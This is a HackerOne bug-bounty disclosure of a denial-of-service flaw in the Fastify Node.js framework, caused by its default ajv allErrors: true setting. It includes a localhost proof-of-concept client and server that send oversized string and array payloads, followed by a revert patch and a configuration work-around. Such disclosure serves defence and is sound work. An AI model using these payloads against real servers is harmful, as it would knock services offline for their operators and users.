Lucene search

K
hackeroneChalkerH1:903521
HistoryJun 20, 2020 - 4:51 a.m.

Node.js third-party modules: Fastify uses allErrors: true ajv configuration by default which is susceptible to DoS

2020-06-2004:51:56
chalker
hackerone.com
$250
70

0.001 Low

EPSS

Percentile

34.3%

I would like to report a denial of service vulnerability in fastify
It allows to cause a DoS with some schemas that were otherwise assumed to be secure against DoS by their authors

Module

module name: fastifyversion:2.14.1, 3.0.0-rc.4npm page: https://www.npmjs.com/package/fastify

Module Description

> An efficient server implies a lower cost of the infrastructure, a better responsiveness under load and happy users.

Module Stats

114 076 weekly downloads

Vulnerability

Vulnerability Description

See <https://github.com/ajv-validator/ajv#security-risks-of-trusted-schemas&gt;:

> Please note: The suggestions above to prevent slow validation would only work if you do NOT use allErrors: true in production code (using it would continue validation after validation errors).

fastify uses allErrors: true by default which makes it susceptible to DoS attacks even when schemas are otherwise safe.

E.g. a (sub-)schema { uniqueItems: true, maxItems: 10 } is otherwise safe against DoS as maxItems is checked first and validation fails there on long arrays, but that applies to only not in allErrors: true case.

Neither https://github.com/fastify/fastify/blob/master/docs/Validation-and-Serialization.md nor https://github.com/fastify/fastify/blob/master/docs/Recommendations.md mentions this directly.

Introduced in https://github.com/fastify/fastify/pull/1398

Steps To Reproduce:

/* Client */

const fetch = require('node-fetch')
const request = body =&gt; {
  const json = JSON.stringify(body)
  console.log(`Payload size: ${Math.round(json.length / 1024)} KiB`)
  return fetch('http://127.0.0.1:3000/', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: json
  })
}

const fireRequests = async () =&gt; {
  await request({ string: '@'.repeat(90000) })
  await request({ array: Array(20000).fill().map(() =&gt; ({x: Math.random().toString(32).slice(2)})) })
}

/* Server */

const fastify = require('fastify')({ logger: true })

const schema = {
  body: {
    type: 'object',
    properties: {
      array: { uniqueItems: true, maxItems: 10 },
      string: { pattern: "^[^/]+@.+#$", maxLength: 20 },
    }
  },
}

fastify.post('/', { schema }, (request, reply) =&gt; {
  reply.send({ hello: 'world', body: request.body })
})

fastify.listen(3000, (err, address) =&gt; {
  fastify.log.info(`server listening on ${address}`)
  fireRequests()
})

https://gist.github.com/ChALkeR/15e758d3fc5cbba0840b6a03a070c838

Patch

Revert https://github.com/fastify/fastify/pull/1398

Work-around

Use https://github.com/fastify/fastify/blob/master/docs/Server.md#ajv to override allErrors to false in ajv configuration.

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

Cause DoS in a presence of potentially slow pattern / format or uniqueItems in the schema, even when schema author guarded that with a length check to be otherwise immune to DoS.

0.001 Low

EPSS

Percentile

34.3%